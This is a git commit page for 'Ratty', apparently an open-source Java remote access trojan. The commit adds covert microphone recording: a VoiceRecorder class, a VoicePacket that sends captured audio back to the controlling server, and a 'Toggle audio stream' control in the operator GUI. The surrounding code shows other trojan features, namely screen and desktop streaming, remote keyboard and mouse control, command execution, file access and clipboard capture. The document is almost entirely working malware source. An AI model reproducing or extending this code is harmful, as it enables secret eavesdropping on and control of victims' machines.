Browse Source

Major changes

Added voice capturing
master
Sogomn 9 years ago
parent
commit
44a91691dd
  1. BIN
      Ratty/res/menu_icons.png
  2. 7
      Ratty/src/de/sogomn/rat/IRecorderListener.java
  3. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  4. 18
      Ratty/src/de/sogomn/rat/Trojan.java
  5. 94
      Ratty/src/de/sogomn/rat/VoiceRecorder.java
  6. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  7. 58
      Ratty/src/de/sogomn/rat/packet/VoicePacket.java
  8. 2
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  9. 37
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  10. 17
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
  11. 82
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

BIN
Ratty/res/menu_icons.png

Before

Width: 96  |  Height: 96  |  Size: 692 B

After

Width: 96  |  Height: 96  |  Size: 756 B

7
Ratty/src/de/sogomn/rat/IRecorderListener.java

@ -0,0 +1,7 @@
package de.sogomn.rat;
public interface IRecorderListener {
void done(final VoiceRecorder source, final byte[] data);
}

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -21,7 +21,7 @@ public final class Ratty {
private static int port;
private static boolean client;
private static final boolean DEBUG = false;
private static final boolean DEBUG = true;
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?";

18
Ratty/src/de/sogomn/rat/Trojan.java

@ -1,16 +1,32 @@
package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.VoicePacket;
public final class Trojan implements IClientObserver {
private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8;
public Trojan() {
//...
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
packet.execute(client);
if (packet instanceof VoicePacket) {
final VoiceRecorder recorder = new VoiceRecorder();
final VoicePacket voice = (VoicePacket)packet;
recorder.setMaximum(MICROPHONE_BUFFER_SIZE);
recorder.addListener((source, data) -> {
voice.setData(data);
packet.execute(client);
});
recorder.start();
} else {
packet.execute(client);
}
}
@Override

94
Ratty/src/de/sogomn/rat/VoiceRecorder.java

@ -0,0 +1,94 @@
package de.sogomn.rat;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.TargetDataLine;
import de.sogomn.engine.util.AbstractListenerContainer;
public final class VoiceRecorder extends AbstractListenerContainer<IRecorderListener> {
private ByteArrayOutputStream out;
private TargetDataLine line;
private Thread thread;
private int maximum;
private static final int BUFFER_SIZE = 1024;
public VoiceRecorder(final int maximum) {
this.maximum = maximum;
out = new ByteArrayOutputStream();
}
public VoiceRecorder() {
this(0);
}
private byte[] getData() {
final byte[] data = out.toByteArray();
out.reset();
return data;
}
private void captureAudio() {
try {
final byte[] data = new byte[BUFFER_SIZE];
line.read(data, 0, BUFFER_SIZE);
out.write(data);
} catch (final IOException ex) {
ex.printStackTrace();
}
}
public void start() {
final Runnable runnable = () -> {
while (out.size() < maximum) {
captureAudio();
}
stop();
final byte[] data = getData();
notifyListeners(listener -> listener.done(this, data));
};
try {
line = AudioSystem.getTargetDataLine(null);
thread = new Thread(runnable);
out.reset();
line.open();
line.start();
thread.start();
} catch (final LineUnavailableException ex) {
stop();
}
}
public void stop() {
try {
thread.interrupt();
line.close();
out.close();
} catch (final IOException ex) {
//...
} finally {
thread = null;
line = null;
}
}
public void setMaximum(final int maximum) {
this.maximum = maximum;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -17,7 +17,8 @@ public enum PacketType {
EXECUTE(12, ExecuteFilePacket.class),
FOLDER(13, CreateFolderPacket.class),
DELETE(14, DeleteFilePacket.class),
MOUSE_EVENT(15, MouseEventPacket.class);
MOUSE_EVENT(15, MouseEventPacket.class),
VOICE(16, VoicePacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

58
Ratty/src/de/sogomn/rat/packet/VoicePacket.java

@ -0,0 +1,58 @@
package de.sogomn.rat.packet;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveClient;
public final class VoicePacket extends AbstractPingPongPacket {
private byte[] data;
public VoicePacket() {
type = REQUEST;
data = new byte[0];
}
@Override
protected void sendRequest(final ActiveClient client) {
//...
}
@Override
protected void sendData(final ActiveClient client) {
client.writeInt(data.length);
client.write(data);
}
@Override
protected void receiveRequest(final ActiveClient client) {
//...
}
@Override
protected void receiveData(final ActiveClient client) {
final int length = client.readInt();
data = new byte[length];
client.read(data);
}
@Override
protected void executeRequest(final ActiveClient client) {
type = DATA;
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
final Sound sound = Sound.loadSound(data);
sound.play();
}
public void setData(final byte[] data) {
this.data = data;
}
}

2
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -49,6 +49,7 @@ public final class RattyGui {
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
public static final String DESKTOP = "Toggle desktop stream";
public static final String VOICE = "Toggle audio stream";
public static final String FILES = "Browse files";
public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content";
@ -59,6 +60,7 @@ public final class RattyGui {
POPUP,
SCREENSHOT,
DESKTOP,
VOICE,
FILES,
COMMAND,
CLIPBOARD,

37
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -26,6 +26,7 @@ import de.sogomn.rat.packet.MouseEventPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
import de.sogomn.rat.util.FrameEncoder.IFrame;
@ -40,7 +41,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
private JFileChooser fileChooser;
private ArrayList<ServerClient> clients;
private long nextId;
public RattyGuiController(final RattyGui gui) {
this.gui = gui;
@ -82,7 +82,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
packet = new ScreenshotPacket();
} else if (command == RattyGui.COMMAND) {
packet = CommandPacket.create();
} else if (command == RattyGui.DESKTOP) {
} else if (command == RattyGui.DESKTOP && !serverClient.isStreamingDesktop()) {
packet = new DesktopStreamPacket(true);
} else if (command == RattyGui.CLIPBOARD) {
packet = new ClipboardPacket();
@ -138,20 +138,22 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final int key = displayPanel.getLastKeyHit();
packet = new KeyEventPacket(key, KeyEventPacket.RELEASE);
} else if (command == DisplayPanel.MOUSE_PRESSED) {
} else if (command == DisplayPanel.MOUSE_PRESSED && serverClient.isStreamingDesktop()) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int x = displayPanel.getLastXPos();
final int y = displayPanel.getLastYPos();
final int button = displayPanel.getLastButtonHit();
packet = new MouseEventPacket(x, y, button, MouseEventPacket.PRESS);
} else if (command == DisplayPanel.MOUSE_RELEASED) {
} else if (command == DisplayPanel.MOUSE_RELEASED && serverClient.isStreamingDesktop()) {
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
final int x = displayPanel.getLastXPos();
final int y = displayPanel.getLastYPos();
final int button = displayPanel.getLastButtonHit();
packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE);
} else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) {
packet = new VoicePacket();
}
return packet;
@ -175,6 +177,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
serverClient.client.addPacket(request);
}
private void handle(final ServerClient serverClient, final VoicePacket packet) {
final VoicePacket voice = new VoicePacket();
packet.execute(serverClient.client);
serverClient.client.addPacket(voice);
}
private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
final FileTreePanel treePanel = serverClient.getTreePanel();
final String[] paths = packet.getPaths();
@ -207,11 +217,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
handle(serverClient, screenshot);
} else if (packet instanceof DesktopStreamPacket) {
final boolean streamingDesktop = serverClient.isStreamingDesktop();
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
if (streamingDesktop) {
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
handle(serverClient, stream);
}
} else if (packet instanceof VoicePacket) {
final boolean streamingVoice = serverClient.isStreamingVoice();
if (streamingVoice) {
final VoicePacket voice = (VoicePacket)packet;
handle(serverClient, voice);
}
} else if (packet instanceof FileSystemPacket) {
final FileSystemPacket file = (FileSystemPacket)packet;
@ -244,8 +263,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
@Override
public synchronized void clientConnected(final ActiveServer server, final ActiveClient client) {
final long id = nextId++;
final ServerClient serverClient = new ServerClient(id, client);
final ServerClient serverClient = new ServerClient(client);
final InformationPacket packet = new InformationPacket();
client.setObserver(this);
@ -279,6 +297,11 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
treePanel.setVisible(true);
} else if (command == RattyGui.BUILD) {
StubBuilder.start();
} else if (command == RattyGui.VOICE) {
final boolean streaming = serverClient.isStreamingVoice();
serverClient.setStreamingVoice(!streaming);
gui.updateTable();
}
}

17
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -8,15 +8,14 @@ public final class ServerClient {
private boolean loggedIn;
private boolean streamingDesktop;
private boolean streamingVoice;
private DisplayPanel displayPanel;
private FileTreePanel treePanel;
final long id;
final ActiveClient client;
public ServerClient(final long id, final ActiveClient client) {
this.id = id;
public ServerClient(final ActiveClient client) {
this.client = client;
displayPanel = new DisplayPanel();
@ -38,6 +37,10 @@ public final class ServerClient {
this.streamingDesktop = streamingDesktop;
}
public void setStreamingVoice(final boolean streamingVoice) {
this.streamingVoice = streamingVoice;
}
public void setController(final IGuiController controller) {
displayPanel.setController(controller);
treePanel.setController(controller);
@ -47,6 +50,10 @@ public final class ServerClient {
return name;
}
public String getAddress() {
return client.getAddress();
}
public String getOs() {
return os;
}
@ -63,6 +70,10 @@ public final class ServerClient {
return streamingDesktop;
}
public boolean isStreamingVoice() {
return streamingVoice;
}
public DisplayPanel getDisplayPanel() {
return displayPanel;
}

82
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -1,6 +1,7 @@
package de.sogomn.rat.server.gui;
import java.util.ArrayList;
import java.util.function.Function;
import javax.swing.table.AbstractTableModel;
@ -8,45 +9,42 @@ final class ServerClientTableModel extends AbstractTableModel {
private static final long serialVersionUID = 919111102883611810L;
private ArrayList<ServerClient> serverClients;
private Column[] columns;
private static final int COLUMN_COUNT = 5;
private static final String[] HEADERS = {
"Name",
"IP address",
"OS",
"Version",
"Streaming"
};
private static final int COLUMN_COUNT = 6;
public ServerClientTableModel() {
serverClients = new ArrayList<ServerClient>();
columns = new Column[COLUMN_COUNT];
columns[0] = new Column("Name", String.class, ServerClient::getName);
columns[1] = new Column("IP address", String.class, ServerClient::getAddress);
columns[2] = new Column("OS", String.class, ServerClient::getOs);
columns[3] = new Column("Version", String.class, ServerClient::getVersion);
columns[4] = new Column("Streaming desktop", Boolean.class, ServerClient::isStreamingDesktop);
columns[5] = new Column("Streaming voice", Boolean.class, ServerClient::isStreamingVoice);
}
@Override
public String getColumnName(final int column) {
if (column <= HEADERS.length - 1 && column >= 0) {
return HEADERS[column];
public String getColumnName(final int columnIndex) {
if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) {
final Column column = columns[columnIndex];
return column.name;
}
return super.getColumnName(column);
return super.getColumnName(columnIndex);
}
@Override
public Class<?> getColumnClass(final int columnIndex) {
switch (columnIndex) {
case 0:
return String.class;
case 1:
return String.class;
case 2:
return String.class;
case 3:
return String.class;
case 4:
return Boolean.class;
default:
return super.getColumnClass(columnIndex);
if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) {
final Column column = columns[columnIndex];
return column.clazz;
}
return super.getColumnClass(columnIndex);
}
@Override
@ -58,24 +56,14 @@ final class ServerClientTableModel extends AbstractTableModel {
public Object getValueAt(final int rowIndex, final int columnIndex) {
final ServerClient serverClient = getServerClient(rowIndex);
if (serverClient == null) {
if (serverClient == null || columnIndex > COLUMN_COUNT - 1 || columnIndex < 0) {
return null;
}
switch (columnIndex) {
case 0:
return serverClient.getName();
case 1:
return serverClient.client.getAddress();
case 2:
return serverClient.getOs();
case 3:
return serverClient.getVersion();
case 4:
return serverClient.isStreamingDesktop();
default:
return null;
}
final Column column = columns[columnIndex];
final Function<ServerClient, ?> value = column.value;
return value.apply(serverClient);
}
@Override
@ -106,4 +94,18 @@ final class ServerClientTableModel extends AbstractTableModel {
return null;
}
private final class Column {
final String name;
final Class<?> clazz;
final Function<ServerClient, ?> value;
public Column(final String name, final Class<?> clazz, final Function<ServerClient, ?> value) {
this.name = name;
this.clazz = clazz;
this.value = value;
}
}
}
Loading…
Cancel
Save